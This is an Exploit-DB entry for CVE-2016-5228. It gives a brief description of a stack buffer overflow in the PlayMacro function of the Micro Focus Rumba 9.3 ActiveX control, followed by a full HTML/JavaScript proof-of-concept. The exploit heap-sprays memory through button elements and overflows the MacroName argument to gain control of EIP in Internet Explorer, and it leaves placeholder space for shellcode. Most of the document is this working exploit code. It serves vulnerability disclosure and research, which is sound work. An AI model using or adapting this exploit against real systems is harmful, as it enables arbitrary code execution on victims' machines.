Exploit-DB #40649
Description: Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2016-10-31
Author: Umit Aksu

Exploit:
# Exploit Title: Micro Focus Rumba <= 9.3 ActiveX Stack-based buffer overflow
# Date: 29-10-2016
# Exploit Author: Umit Aksu
# Vendor Homepage: http://community.microfocus.com/microfocus/mainframe_solutions/rumba/w/knowledge_base/28600.micro-focus-rumba-9-x-security-update.aspx
# Software Link: http://nadownloads.microfocus.com/epd/product_download_request.aspx?type=eval&transid=2179441&last4=2179441&code=40231
# Version: <= 9.3
# Tested on: Internet Explorer 11 on windows 7
# CVE : CVE-2016-5228
 


1.  Description
Stack-based buffer overflow in the PlayMacro function in ObjectXMacro.ObjectXMacro in WdMacCtl.ocx in Micro Focus Rumba 9.x before 9.3 HF 11997 and 9.4.x before 9.4 HF 12815 allows remote attackers to execute arbitrary code via a long MacroName argument.


2. Proof of Concept

The code below sprays the memory to have a valid memory address which can then be used to reference... the exploit code only makes it possible to overwrite the EIP the rest is up to you. 




<html>
<head>
    <object classid='clsid:56359FC0-E847-11CE-BE79-02608C8F68F1' id='_vulActiveX'>
    </object> 
</head>
<body>
<div id="blah"></div>

<script language="javascript">

function vuln(){
// 272 Junk Data 
// 272 + "\x43\x43\x43\x43" = EDX = 43434343
//  

// If we change the edx to an address that point to a valid address 
// We will have control over EIP 
// 0x20302228


// Overwrite the stack 
var evil_payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
// Addres pointing to our sprayed heap
var EDX  = "\x28\x22\x30\x20";

evil_payload += EDX;

_vulActiveX.PlayMacro(evil_payload);
   
  }



// This create blocks of memory with data we control
// And attaches the data to a button.title
// By doing this we have a predicatable place in memory containing our data
// This data can by used to place shellcode in it and can be used like in this case to
// point to valid address to overwrite EIP


// Heap Spraying technique of corelanc0d3r 
// See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

var div_container = document.getElementById("blah");
div_container.style.cssText = "display:none";
var data;
offset = 0x104;
var jmp_address="\x28\x22\x30\x20"; 

junk = unescape("%u4747%u4747");   // <-------- EIP Value
while(junk.length < 0x1000) junk += junk;


// 20302290
shellcode = unescape("%u2290%u2030%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444");
data = junk.substring(0,offset) + shellcode;
data += junk.substring(0,0x800 - offset - shellcode.length);
while(data.length < 0x80000) data += data
// Targets:
// FireFox: 0x20302210
// IE 8, 9 and 10/11: 0x20302228
for(var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,0x40000-0x58);
div_container.appendChild(obj);
}


</script>


<input type="button" onclick="javascript:vuln()" value="exploit" >

</body>



</html>